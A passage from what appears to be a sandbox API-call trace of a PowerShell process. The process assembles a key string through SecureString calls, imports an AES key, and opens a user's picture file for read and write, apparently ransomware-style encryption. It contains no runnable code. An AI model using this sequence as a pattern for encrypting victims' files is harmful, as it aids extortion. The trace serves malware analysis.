(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.697] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.697] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.697] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0136.697] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.697] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.697] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.697] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.698] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0136.698] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.698] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.698] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0136.698] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0136.698] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.698] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0136.698] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.698] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.698] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.698] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0136.698] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.699] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.699] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0136.699] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.699] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.699] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0136.699] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.699] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.699] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0136.699] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.699] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.700] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0136.700] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.700] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.700] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0136.700] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.700] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.700] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0136.700] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0136.700] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.701] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0136.701] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.701] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.701] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0136.701] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.701] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.701] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0136.701] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.701] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.701] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0136.701] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.702] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.702] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0136.702] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.702] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.702] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0136.702] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.702] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.702] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0136.702] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.702] SystemFunction041 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.702] SystemFunction040 (in: Memory=0x8ebf74c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf74c) returned 0x0 [0136.703] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.703] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.703] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.703] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.703] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.703] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.703] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.703] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.704] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.704] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.705] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e02360) returned 1 [0136.705] CryptImportKey (in: hProv=0x8e02360, pbData=0x6acbfdc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84b78) returned 1 [0136.705] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.705] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.706] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.707] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll\\_tagtwaevd.gif")) returned 0x20 [0136.707] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll\\_tagtwaevd.gif")) returned 0x20 [0136.708] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", lpFilePart=0x0) returned 0x4b [0136.708] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", lpFilePart=0x0) returned 0x4b [0136.708] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", lpFilePart=0x0) returned 0x4b [0136.708] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", lpFilePart=0x0) returned 0x4b [0136.708] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.708] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.709] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif", lpFilePart=0x0) returned 0x4b [0136.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.709] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll\\_tagtwaevd.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 